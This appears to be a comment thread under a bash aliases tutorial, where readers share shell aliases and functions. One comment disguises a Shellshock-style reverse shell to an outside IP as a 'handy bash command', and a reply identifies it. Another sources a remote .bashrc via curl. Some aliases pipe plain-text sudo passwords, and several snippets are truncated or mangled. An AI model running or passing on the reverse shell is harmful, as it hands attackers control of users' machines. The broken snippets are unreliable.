    export SUBNET=`netstat -nr| grep -m 1 -iE ‘default|’ | awk ‘{print \$2}’`
    export IP=`echo $SUBNET | sed s/\.[0-9]*$/.$HOST/`
    ping $IP

    Quickly reload your .bashrc or .bash_profile

    alias rl=’. ~/.bash_profile’

  • Flack February 22, 2013, 8:44 pm

    Clear xterm buffer cache

    alias clearx="echo -e '/0033/0143'"

    Contrary to the clear command that only cleans the visible terminal area. AFAIK It’s not an universal solution but it worths a try.

    Edited by Admin as requested by OP.

    • Eduard Seifert February 23, 2013, 6:44 pm

      alias clear=’printf “33c”‘

    • Eduard Seifert February 23, 2013, 6:44 pm
      alias clear='printf "33c"'
  • DarrinMeek February 26, 2013, 3:11 am

    I have been using this concept for many years and still trying to perfect the methodology. My goals include minimal keystrokes and ease of use. I use double quotes in my alias defn even though single quote delimiters are the normal convention. I use ‘aa’ for “add alias.” It is always the first alias I create. Each job and each environ begin with ‘aa’ alias creation. My aliases have evolved into productized command line interfaces and have been adopted by many others over the years. http://www.iboa.us/iboaview.html

  • muratkarakus March 1, 2013, 5:02 pm

    Nowadays, git is so popular, we can not miss it
    These are my git aliases

    alias g=”git”
    alias gr=”git rm -rf”
    alias gs=”git status”
    alias ga=”g add”
    alias gc=”git commit -m”
    alias gp=”git push origin master”
    alias gl=”git pull origin master”

  • muratkarakus March 1, 2013, 6:16 pm

    alias sd=”echo michoser | sudo -S”

    alias ai=”sd apt-get –yes install”
    alias as=”apt-cache search”
    alias ar=”sd apt-get –yes remove”

    alias .p=”pushd .”
    alias p.=”popd”

  • Tolli March 2, 2013, 8:35 pm

    Regarding the cd aliases (#2), you can use the autocd bash option (run ‘shopt -s autocd’) to change directories without using cd. Then, you can just type ‘..’ to go up one directory, or ‘../..’ to go up 2 directories, or type the (relative) path of any directory to go to it. Another trick is to set the CDPATH environment variable. This will let you easily change to directories in a commonly used sub-directories such as your home directory. For example, if you set the CDPATH to ‘.:$HOME’ (run ‘export CDPATH=.:$HOME’), then run ‘cd Documents’ you will change directories to the Documents/ directory in your home directory, no matter what directory you are currently in (unless your current directory also has a documents/ directory in it).

  • Chris F.A. Johnson March 11, 2013, 6:14 pm

    I don’t use aliases. As the bash man page says:

    “For almost every purpose, aliases are superseded by shell functions.”

    At the top of my .bashrc I have ‘unalias -a’ to get rid of any misguided aliases installed by /etc/profile.

    • Benny October 22, 2013, 8:02 pm

      Interesting comment, Chris. I decided it would be an interesting experiment to try to take some of these alias ideas and convert them to functions. When I tried on the one called “fastping” I couldn’t seem to make it work. Ideas?

    • Henrik Kjelsberg March 6, 2014, 8:06 am

      Aliases are handy and quicker to set up than functions. I guess you could argue that if your fluent with `history` you don’t necessarily need aliases and aliases will not be available if your working on someone else’s box, but I think a combination makes perfect sense, their quick :)

      • TD August 7, 2014, 8:00 am

        Who says you can’t use your own aliases when working on a box?

        . <(curl -sS domain.tld/scripts/.bashrc)

        • r0tty October 3, 2014, 8:28 am

          This is completely brilliant – I am implementing it now.

          Also, I completely agree with whoever said aliasing rm is a very bad idea. I don’t think it’s a good idea to use any alias that can get you into trouble if the alias is not defined.

          Finally, I think it’s a very good idea not to define any alias that will hinder your recall of the command should you be in a situation where you don’t have access to the alias. A job interview being the most important scenario. You can only smugly answer questions with ‘no, I don’t know the options to that command, because I define an alias so I don’t have to remember’ so many times before they conclude you don’t know what you’re talking about.


  • griswolf March 11, 2013, 7:24 pm

    The aliases that I use the most (also a lot of shell functions):
    alias j=’jobs -l’
    alias h=’history’
    alias la=’ls -aF’
    alias lsrt=’ls -lrtF’
    alias lla=’ls -alF’
    alias ll=’ls -lF’
    alias ls=’ls -F’
    alias pu=pushd
    alias pd=popd
    alias r=’fc -e -‘ # typing ‘r’ ‘r’epeats the last command

  • Gary March 27, 2013, 9:15 am

    Sizes of the directories in the current directory
    alias size=’du -h –max-depth=1′

  • RajaSekhar April 2, 2013, 2:56 am

    Useful alias. Thanks mates.

    I find the following useful too

    alias tf='tail -f '
    # grep in *.cpp files
    alias findcg='find . -iname "*.cpp" | xargs grep -ni --color=always '
    # grep in *.cpp files
    alias findhg='find . -iname "*.h" | xargs grep -ni --color=always '
    #finds that help me cleanup when hit the limits
    alias bigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( \$1 > 5000) print \$0 }'"
    alias verybigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( \$1 > 500000) print \$0 }'"
    #show only my procs
    alias psme='ps -ef | grep $USER --color=always '
  • Carsten April 5, 2013, 1:06 pm

    Very nice alias list.
    Here’s another very handy alias:

    alias psg='ps -ef | grep'

    ex: looking for all samb processes:

    psg mbd
    • Justin Garrison October 22, 2014, 3:13 pm

      Try this one instead. It will remove the search from your results

      psg='ps aux | grep -v grep | grep -i -e VSZ -e'
  • phillip April 6, 2013, 6:23 am

    Here is the most important alias:

    alias exiy=’exit’

  • Thilo Six April 8, 2013, 2:20 pm

    I did learn some new things. Thanks for that.

    # Do not wait interval 1 second, go fast #
    alias fastping=’ping -c 100 -s.2′

    From reading the man page i gather the ‘-s’ should be ‘-i’ instead.

    -s packetsize
    Specifies the number of data bytes to be sent.

    -i interval
    Wait interval seconds between sending each packet. The
    default is to wait for one second between each packet
    normally, or not to wait in flood mode. Only super-user
    may set interval to values less 0.2 seconds.

  • Thomas April 9, 2013, 3:44 pm

    Back Up [function, not alias] – Copy a file to the current directory with today’s date automatically appended to the end.

    bu() { cp $@ $@.backup-`date +%y%m%d`; }

    Add to .bashrc or .profile and type: “bu filename.txt”

    I made this a long time ago and use it daily. If you really want to stay on top of your backed up files, you can keep a log by adding something like:

    bu() { cp $@ $@.backup-`date +%y%m%d`; echo "`date +%Y-%m-%d` backed up $PWD/$@" >> ~/.backups.log; }

    I hope someone finds this helpful!

    • ahmed April 21, 2013, 1:03 am

      i did!
      thanks a lot

    • Benny October 22, 2013, 7:41 pm

      Excellent idea, Thomas!

      • Ingo November 22, 2013, 7:51 pm

        Great idea! Will add this one to my aliases!

        Is there a specific reason to use $@ instead of $1?

        I also added quotes around the parameters, otherwise it won’t work with file names that include whitespace, I have it like this now:

        bu() { cp “$1” “$1”.backup-`date +%y%m%d`; }

    • Dean September 23, 2014, 5:13 pm

      Brilliant. Thanks.
      I use this before I edit any config file I might need/want to change back later.
      I also added %H%M%S so I can save a copy each time without dupe file names.
      Thanks again.
      I suppose one could also include something like this in an alias for vi to automatically create a backup file before launching vi…hmmmm….

  • Russ Thompson April 25, 2013, 2:34 am

    I am learning to love simple functions in .bashrc

    mcd () {
    mkdir -p $1;
    cd $1

    But the great aliases are in the cmd prompt under windoze:

    run doskey /macrofile=\doskey.mac

    then set up a doskey,mac in root directory with the CORRECT commands

    ls=dir $* /o/w
    cat=type $*
    rm=del $*
    lsl=dir $* /o/p

    yes, I have to work in the sludgepit, but I can fix the command set

  • Andrew May 1, 2013, 8:44 pm

    Since I work in a number of different distributions, I concatenated 17 and 18:

    case $(lsb_release -i | awk ‘{ print $3 }’) in
    alias apt-get=”sudo apt-get”
    alias updatey=”sudo apt-get –yes”
    alias update=’sudo apt-get update && sudo apt-get upgrade’
    alias update=’yum update’
    alias updatey=’yum -y update’

    Of course you could add Fedora, Scientific Linux, etc, to the second one, but I don’t have either of those handy to get the output of lsb_release.

  • Aaron Goshine May 5, 2013, 3:27 am

    alias gtl=’git log’
    alias gts=’git status’

  • Dan May 29, 2013, 3:53 pm

    I also have an function that does the same thing, and an alias for killing a process by pid. Then in my ps2 command I use ‘complete’ to add the pids to the completion list of my kill command so I can hit escape and it will fill in the rest. Better to show it than describe it:

    alias kk=’sudo kill’ # Expecting a pid
    pss() {
    [[ ! -n ${1} ]] && return; # bail if no argument
    pro=”[${1:0:1}]${1:1}”; # process-name –> [p]rocess-name (makes grep better)
    ps axo pid,command | grep -i ${pro}; # show matching processes
    pids=”$(ps axo pid,command | grep -i ${pro} | awk ‘{print $1}’)”; # get pids
    complete -W “${pids}” kk # make a completion list for kk

    Now I can do (for example):

    zulu:/Users/frank $ pss ssh
    3661 /usr/bin/ssh-agent -l
    2845 ssh -Nf -L 15900:localhost:5900 homemachine@dyndns.org
    zulu:/Users/frank $ kk 2 (hit escape key to complete 2845)
    zulu:/Users/frank $

  • Philip Vanmontfort June 1, 2013, 3:31 pm

    Hey, very useful tips!
    here’s mine:

    chmoddr()   {
      # CHMOD _D_irectory _R_ecursivly
      if [ -d "$1" ]; then
       echo "error: please use the mode first, then the directory";
       return 1;
      elif [ -d "$2" ]; then
       find $2 -type d -print0 | xargs -0 chmod $1;
      if [ "$#" -lt 1 ]; then   echo "not enough arguments";    return 1;  fi
      echo "resistence is futile! $1 will be assimilated";
      if [ "$2" != "" ]; then
        _assimilate_opts=" -p$2 ";
      ssh -M -f -N $_assimilate_opts -o ControlPath=$SSHSOCKET $1;
      if [ ! -S $SSHSOCKET ]; then echo "connection to $1 failed! (no socket)"; return 1; fi
      ### begin assimilation
      # copy files
      scp -o ControlPath=$SSHSOCKET ~/.bashrc $1:~;
      scp -o ControlPath=$SSHSOCKET -r ~/.config/htop $1:~;
      # import ssh key
      if [[ -z $(ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "grep -f - ~/.ssh/authorized_keys") ]]; then
        ssh -o ControlPath=$SSHSOCKET $1 "mkdir ~/.ssh > /dev/null 2>&1";
        ssh-add -L > /dev/null&&ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "cat >> ~/.ssh/authorized_keys"
      ssh -o ControlPath=$SSHSOCKET $1 "chmod -R 700 ~/.ssh";
      ### END
      ssh -S $SSHSOCKET -O exit $1 2>1 >/dev/null;
  • harry June 4, 2013, 2:59 am

    Hey these are great guys. Thanks. Here are a few I started using recently ever since I discovered ‘watch’. I use for monitoring log tails and directory contents and sizes.

    alias watchtail=’watch -n .5 tail -n 20′
    alias watchdir=’watch -n .5 ls -la’
    alias watchsize=’watch -n .5 du -h –max-depth=1′

    • harry June 4, 2013, 3:09 am

      I forgot that third one: I use for monitoring small directories ( < 100M ). This would choke on large directories. Just increase the watch interval if you need to watch larger directories. The default interval for watch is 2 seconds.

    • Bob September 20, 2013, 4:36 pm

      tail has a ‘watch’-like option, though it doesn’t refresh the screen like watch

      tail -f -n 20 (though, really, the line number isn’t as necessary in tail -f as it is in watch)

  • greg June 7, 2013, 4:19 pm

    I have the same “ll” alias, I use constantly. Here are a few others:

    # grep all files in the current directory
    function _grin() { grep -rn --color $1 .;}
    alias grin=_grin
    # find file by name in current directory
    function _fn() { find . -name $1;}
    alias fn=_fn
  • Philip Vanmontfort June 17, 2013, 5:50 pm

    I published my .bashrc:


  • selfthinker June 29, 2013, 5:40 pm

    three letters to tune into my favorite radio stations

    alias dlf=”/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dlf.m3u|head -1)”
    alias dlr=”/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dkultur.m3u|head -1)”

    sometimes I swap my keyboards, then I use

    alias tastatur=”setxkbmap -model cherryblue -layout de -variant ,nodeadkeys”

    When using mplayer you may set bookmarks using ‘i’. You may read it easyer using

    mplay() {
    	export EDL=”$HOME/.mplayer/current.edl”
    	/usr/local/bin/mplayer -really-quiet -edlout $EDL $* ;
    	echo $(awk ‘{print $2 }’ $EDL | cut -d, -f1 | cut -d. -f1 )

    Buring ISO-images does not need starting GUIs and clicking around

    alias isowrite=”cdrecord dev=1,0,0 fs=32M driveropts=burnfree speed=120 gracetime=1 -v -dao -eject -pad -data

    Be aware the device must be adjusted. Not every default will fit for you to “isowrite /some/where/myimage.iso”.

  • LinuxGeek July 16, 2013, 3:28 pm

    Really useful command

  • Erik July 16, 2013, 9:01 pm

    In 30 years of living at the *nix commandline I found that I really only need 2 aliases
    for my bash shell (used to be ksh, but that’s been a while)

      alias s=less        # use less a lot to see config files and logfiles
      alias lst='ls -ltr'   # most recently updated files last

    when checking for servers and tcp ports for a non root user these are also handy

      alias myps='ps -fHu $USER'     # if not $USER, try $LOGIN
      alias myports="netstat -lntp 2>/dev/null | grep -v ' - *$'"  # Linux only?
  • Tim August 10, 2013, 1:44 pm

    I have an alias question. I routinely want to copy files from various locations to a standard location. I want to alias that standard location so I can type:
    alias mmm=”/standard/target/directory/”
    cp /various/file/source mmm
    but this doesn’t work: just creates a duplicate named mmm

    Is there a way to do this?

    • nixCraft August 11, 2013, 8:15 am

      Add mmm to $HOME/.bashrc as follows:

      export mmm="/standard/target/directory/"

      Logout and login again. Verify that $mmm is set:

      echo $mmm

      Now run the command:

      cp /various/file/source $mmm


      • Tim August 12, 2013, 4:52 am

        Thank you very much!


  • sandeep September 3, 2013, 10:01 am


  • Salvatore September 8, 2013, 1:56 pm

    Very nice and useful, thank you!

  • Morgan Estes September 17, 2013, 10:01 pm

    I can never remember the right flags to pass when extracting a tarball, so I have this custom alias:

    alias untar='tar -zxvf'
  • Michael J September 27, 2013, 4:06 pm

    I use this “alias” — its really a function — to do a quick check of JSON files on the command line:

    function json() { cat “$@” | /usr/bin/python -m json.tool ;}

    usage: json file.json

    If all is well, it will print the JSON file to the screen. If there is an error in the file, the error is printed along with the offending line number.

    Works great for quickly testing JSON files!

  • Erwan October 7, 2013, 8:21 pm

    Nice list, this file is so great for repetitive tasks.

    Here’s mine.

  • Eric October 10, 2013, 6:29 pm

    This is a great list most of my favorites have already been listed but this one hasn’t quite been included and i use more than any other, except maybe ‘lt’
    Thanks to James from comment #28 it now doesn’t include the command its self in the list!

    # grep command history.  Uses function so a bare 'gh' doesn't just hang waiting for input.
    function gh () {
      if [ -z "$1" ]; then
        echo "Bad usage. try:gh run_test";
        history | egrep $* |grep -v "gh $*"

    I also offer this modification to your #8

    alias h='history 100'     # give only recent history be default.

    other favorites of mine, all taken from elsewhere, are:

    alias wcl='wc -l'        # count # of lines
    alias perlrep='perl -i -p -e '               # use perl regex to do find/replace in place on files.  CAREFUL!!

    # list file/folder sizes sorted from largest to smallest with human readable sizes

    function dus () {
    du --max-depth=0 -k * | sort -nr | awk '{ if($1>=1024*1024) {size=$1/1024/1024; unit="G"} else if($1>=1024) {size=$1/1024; unit="M"} else {size=$1; unit="K"}; if(size<10) format="%.1f%s"; else format="%.0f%s"; res=sprintf(format,size,unit); printf "%-8s %s\n",res,$2 }'
  • Brian October 26, 2013, 12:08 am

    Alias the word unalias into a 65000 character long password… :)

  • Brian October 26, 2013, 12:11 am

    Likewise alias bin.bash as $=unalias-1

  • TimC November 13, 2013, 11:37 pm

    So you are not truly lazy until you see this in somebody’s alias file

    alias a=’alias’



  • Jim C December 12, 2013, 5:54 pm

    It’s a bit off topic but the lack of a good command line trash can command has always seemed like a glaring omission to me.
    I usually name it tcan or tcn.

  • rne December 28, 2013, 8:08 pm

    just use Ctrl-D

  • Mikkel January 1, 2014, 9:38 pm

    On OS-X 10.9 replace ‘ls –color=auto’ with ‘ls -G’

  • Robert February 12, 2014, 3:40 am

    # Define a command to cd then print the resulting directory.
    # I do this to avoid putting the current directory in my prompt.
    alias cd=’cdir’
    function cdir ()
    \cd “$*”

  • shanker February 12, 2014, 10:30 am

    function mkcd(){
    mkdir -p $1
    cd $1

  • Brian C February 13, 2014, 5:12 pm

    Lots of great suggestions here.

    I use so many aliases and functions that I needed one to search them.
    function ga() { alias | grep -i $*; functions | grep -i $*}

    This is not so nice with multiple line functions and could be improved with a clever regex.

  • Jules J February 20, 2014, 2:28 pm
    # Find a file from the current directory
    alias ff='find . -name '
    # grep the output of commands
    alias envg='env | grep -i'
    alias psg='ps -eaf | head -1; ps -eaf | grep -v " grep " | grep -i'
    alias aliasg='alias | grep -i'
    alias hg='history | grep -i'
    # cd to the directory a symbolically linked file is in.
    function cdl {
        if [ "x$1" = "x" ] ; then
            echo "Missing Arg"
        elif [ -L "$1" ] ; then
            link=`/bin/ls -l $1 | tr -s ' ' | cut -d' ' -f10`
            if [ "x$link" = "x" ] ; then
                echo "Failed to get link"
            dirName_=`dirname $link`
            cd "$dirName_"
            echo "$1 is not a symbolic link"
    # cd to the dir that a file is found in.
    function cdff {
        filename=`find . -name $1 | grep -iv "Permission Denied" | head -1`
        if [ "xx${filename}xx" != "xxxx" ] ; then
            if [ -d $dirname ] ; then
                cd $dirname
  • Rich February 28, 2014, 7:21 am
    export EDITOR=vim
    export PAGER=less
    set -o vi
    eval `resize`
    # awk tab delim  (escape '\' awk to disable aliased awk)
    tawk='\awk -F "\t" '
    # case insensitive grep
    alias ig="grep --color -i "
    # ls sort by time
    alias lt="ls -ltr "
    # ls sort by byte size
    alias lS='ls -Slr'
    # ps by process grep  (ie. psg chrome)
    alias psg='\ps -ef|grep --color '
    # ps by user
    alias psu='\ps auxwwf '
    # ps by user with grep (ie. psug budman)
    alias psug='psu|grep --color '
    # find broken symlinks
    alias brokenlinks='\find . -xtype l -printf "%p -> %l\n"'
    # which and less a script (ie. ww backup.ksh)
    function ww { if [[ ! -z $1 ]];then _f=$(which $1);echo $_f;less $_f;fi }
    # use your own vim cfg (useful when logging in as other id's)
    alias vim="vim -u /home/budman/.vimrc"
  • Rich February 28, 2014, 7:21 am

    For those of you who use Autosys:

    # alias to read log files based on current run date (great for batch autosys jobs)
    # ie.  slog mars-reconcile-job-c
    export RUN_DIR=~/process/dates
    function getRunDate {
        print -n $(awk -F'"' '/^run_date=/{print $2}' ~/etc/run_profile)
    function getLogFile {
        print -n $RUN_DIR/$(getRunDate)/log/$1.log
    function showLogFile {
        export LOGFILE=$(getLogFile $1);
        print "\nLog File: $LOGFILE\n";
        less -z-4 $LOGFILE;
    alias slog="showLogFile "
    # Autosys alaises
    alias av="autorep -w -J "
    alias av0="autorep -w -L0 -J "
    alias avq="autorep -w -q -J "
    alias aq0="autorep -w -L0 -q -J "
    alias ava="autorep -w -D PRD_AUTOSYS_A -J "
    alias avc="autorep -w -D PRD_AUTOSYS_C -J "
    alias avt="autorep -w -D PRD_AUTOSYS_T -J "
    alias am="autorep -w -M "
    alias ad="autorep -w -d -J "
    alias jd="job_depends -w -c -J "
    alias jdd="job_depends -w -d -J "
    alias jrh="jobrunhist -J "
    alias fsjob="sendevent -P 1 -E FORCE_STARTJOB -J "
    alias startjob="sendevent -P 1 -E FORCE_STARTJOB -J "
    alias runjob="sendevent -P 1 -E STARTJOB -J "
    alias killjob="sendevent -P 1 -E KILLJOB -J "
    alias termjob="sendevent -P 1 -E KILLJOB -K 15 -J "
    alias onhold="sendevent -P 1 -E JOB_ON_HOLD -J "
    alias onice="sendevent -P 1 -E JOB_ON_ICE -J "
    alias offhold="sendevent -P 1 -E JOB_OFF_HOLD -J "
    alias office="sendevent -P 1 -E JOB_OFF_ICE -J "
    alias setsuccess="sendevent -P 1 -E CHANGE_STATUS -s SUCCESS -J "
    alias inactive="sendevent -P 1 -E CHANGE_STATUS -s INACTIVE -J "
    alias setterm="sendevent -P 1 -E CHANGE_STATUS -s TERMINATED -J "
    alias failed="njilgrep -npi -s FA $AUTOSYS_JOB_PREFIX"
    alias running="njilgrep -npi -s RU $AUTOSYS_JOB_PREFIX"
    alias iced="njilgrep -npi -s OI $AUTOSYS_JOB_PREFIX"
    alias held="njilgrep -npi -s OH $AUTOSYS_JOB_PREFIX"
  • mithereal March 23, 2014, 10:26 pm

    heres a few i use

    alias killme='slay $USER'
    function gi(){
    npm install --save-dev grunt-"$@"
    function gci(){
    npm install --save-dev grunt-contrib-"$@"
  • sjas April 27, 2014, 2:20 pm
    alias v='vim'
    alias vi='vim'
    alias e='emacs'
    alias t='tail -n200'
    alias h='head -n20'
    alias g='git'
    alias p='pushd'
    alias o='popd'
    alias d='dirs -v'
    alias rmf='rm -rf'
    # ls working colorful on all OS'es
    if [[ `uname` == Linux ]]; then
        export LS1='--color=always'
    elif [[ `uname` == Darwin* ]]; then
        export LS1='-G'
        export LS1='--color=auto'
    export LS2='-hF --time-style=long-iso'
    alias l='ls $LS1 $LS2 -AB'
  • jfb May 24, 2014, 2:07 pm

    Here is one to do a update and upgrade with no user input. Just insert your sudo
    password for yourpassword

    alias udug=’echo yourpassword | sudo -S apt-get update && sudo apt-get upgrade -y’

    • Henrik Kjelsberg May 27, 2014, 5:59 pm

      Having your password lying around in plain text is never a good idea.

      • jfb May 28, 2014, 7:28 pm

        I am the only one who uses this computer. My daughter, granddaughter, daughter’s
        boyfriend and my four dogs all use Windoz. They have no idea what a alias or a terminal is.

    • AndyB July 11, 2014, 2:46 am

      If you want to run apt-get without having to supply a sudo password, just edit the sudo config file to allow that. (Replace “jfb” in this example with your own login).

      jfb ALL=(root) NOPASSWD: /usr/bin/apt-get

      Hint: edit the config file with “sudo visudo”, not “sudo vim /etc/sudoers”. Visudo will check that you haven’t totally screwed up the config file before writing it out.

  • Xdept July 2, 2014, 2:14 am

    Hey, Just wanted to add my 5 cents.

    I use this to make me think before rebooting/shutting down hosts;

    alias reboot=’echo “Are you sure you want to reboot host `hostname` [y/N]?” && read reboot_answer && if [ “$reboot_answer” == y ]; then /sbin/reboot; fi’

    alias shutdown=’echo “Are you sure you want to shutdown host `hostname` [y/N]?” && read shutdown_answer && if [ “$shutdown_answer” == y ]; then /sbin/shutdown -h now; fi’

  • Niall July 23, 2014, 12:09 am

    Thank you. Great list.

  • David August 22, 2014, 12:41 am

    #2: Control cd command behavior

    ## get rid of command not found ##
    alias cd..=’cd ..’

    ## a quick way to get out of current directory ##
    alias ..=’cd ..’
    alias …=’cd ../../../’
    alias ….=’cd ../../../../’
    alias …..=’cd ../../../../’ <– typo, I think you meant to add an extra level of ../ to this!
    alias .4='cd ../../../../'
    alias .5='cd ../../../../..'

  • Lyo Mi September 26, 2014, 5:50 pm

    There’s another handy bash command I’ve come by recently in the past days.

    () { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/123.456.789.012/3333 0>&1
    • foo October 22, 2014, 12:23 am

      shellshock douchebaggery

  • James November 11, 2014, 1:58 am

    Here are a couple that I have to make installing software on Ubuntu easier:

    alias sdfind='~/bin/sdfind.sh'
    alias sdinst='sudo apt-get install'
  • EricC November 15, 2014, 10:38 pm

    Great list and comments. A minor nit, the nowtime alias has a typo that makes it not work. It needs a closing double quote.

  • hiatus November 20, 2014, 12:19 am

    # Find all IP addresses connected to your network

    alias netcheck='nmap -sP $(ip -o addr show | grep inet\  | grep eth | cut -d\  -f 7)'
  • hiatus November 20, 2014, 12:22 am

    # See real time stamp when running dmesg

    alias dmesg='dmesg|perl -ne "BEGIN{\$a= time()- qx:cat /proc/uptime:};s/\[\s*(\d+)\.\d+\]/localtime(\$1 + \$a)/e; print \$_;" | sed -e "s|\(^.*"`date +%Y`" \)\(.*\)|\x1b[0;34m\1\x1b[0m - \2|g"'
  • faegt November 20, 2014, 11:05 am

    You know, instead of doing something silly like aliasing clear to c, you can just do ^L (control + L) instead…

  • hiatus November 20, 2014, 9:11 pm

    # Nice readable way to see memory usage

    alias minfo='egrep "Mem|Cache|Swap" /proc/meminfo'
  • hiatus November 20, 2014, 11:57 pm

    # Need to figure out which drive your usb is assigned? Functions work the same way as an alias. Simply copy the line into your .profile/.bashrc file. Then type: myusb

    myusb () { usb_array=();while read -r -d $'\n'; do usb_array+=("$REPLY"); done < <(find /dev/disk/by-path/ -type l -iname \*usb\*scsi\* -not -iname \*usb\*scsi\*part* -print0 | xargs -0 -iD readlink -f D | cut -c 8) && for usb in "${usb_array[@]}"; do echo "USB drive assigned to sd$usb"; done; }
  • koosha December 7, 2014, 4:00 am

    And if you have zsh, you may want to give oh-my-zsh a try. It has a repo full of aliases.

    Even if you do not have zsh you may still want to check it out as it has really nice aliases which are compatible with bash.

  • Andreas Dunker January 13, 2015, 9:15 am

    It’s a little bit dangerous to re-alias existing commands. Once I had trouble finding out why my shell script did not work. It was the coloured output of grep. So I changed my alias:

    alias gr=”grep -E -i –color”

    And remember the man page:
    “For almost every purpose, aliases are superseded by shell functions.”

  • proz January 27, 2015, 5:55 pm

    Is passing all commands via sudo safe?

  • Oliver February 13, 2015, 11:31 am

    Sometimes when working with text files this is quite helpful:

    alias top10=”sort|uniq -c|sort -n -r|head -n 10″

  • DT April 27, 2015, 1:50 pm

    # list usernames
    alias lu=”awk -F: ‘{ print \$1}’ /etc/passwd”

  • some guy August 15, 2015, 3:15 pm
    # better ls
    alias ls='ls -lAi --group-directories-first --color='always''
    # make basic commands interactive and verbose
    alias cp='cp -iv'      # interactive
    alias rm='rm -ri'      # interactive
    alias mv='mv -iv'       # interactive, verbose
    alias grep='grep -i --color='always''  # ignore case
    # starts nano with line number enabled
    alias nano='nano -c'
    # clear screen
    alias cl='clear'
    # shows the path variable
    alias path='echo -e ${PATH//:/\\n}'
    # Filesystem diskspace usage
    alias dus='df -h'
    # quick ssh to raspberry pi
    alias raspi='ssh root@'
    # perform 'ls' after 'rm' if successful.
    rmls() {
      rm "$*"
      if [ "$RESULT" -eq 0 ]; then
    alias rm='rmls'
    # reloads changes
    alias rfc='source ~/.bashrc; cl'
    alias rf='source ~/.bashrc'
    # perform 'ls' after 'cd' if successful.
    cdls() {
      builtin cd "$*"
      if [ "$RESULT" -eq 0 ]; then
    alias cd='cdls'
    # quick cd back option
    alias ..='cd ..'
    # search for a string recursively in any C source files
    alias src-grep='find . -name "*.[ch]" | xargs grep '
    # for easily editting the path variable
    nanopath ()
        declare TFILE=/tmp/path.$LOGNAME.$$;
        echo $PATH | sed 's/^:/.:/;s/:$/:./' | sed 's/::/:.:/g' | tr ':' '12' > $TFILE;
        nano $TFILE;
        PATH=`awk ' { if (NR>1) printf ":"
          printf "%s",$1 }' $TFILE`;
        rm -f $TFILE;
        echo $PATH
    alias nanopath='nanopath'
  • some guy August 15, 2015, 3:20 pm

    in my experiance it is esasier to put the scripts you want to use aliases for in your .bash_aliases file. like so

    ~/nano .bash_aliases
    rmls() {
      rm "$*"
      if [ "$RESULT" -eq 0 ]; then

    here is a function. and to make an alias for it is as simple as:

    alias name=’functionName args’

    so for my example function it would be
    alias rm=’rmls’

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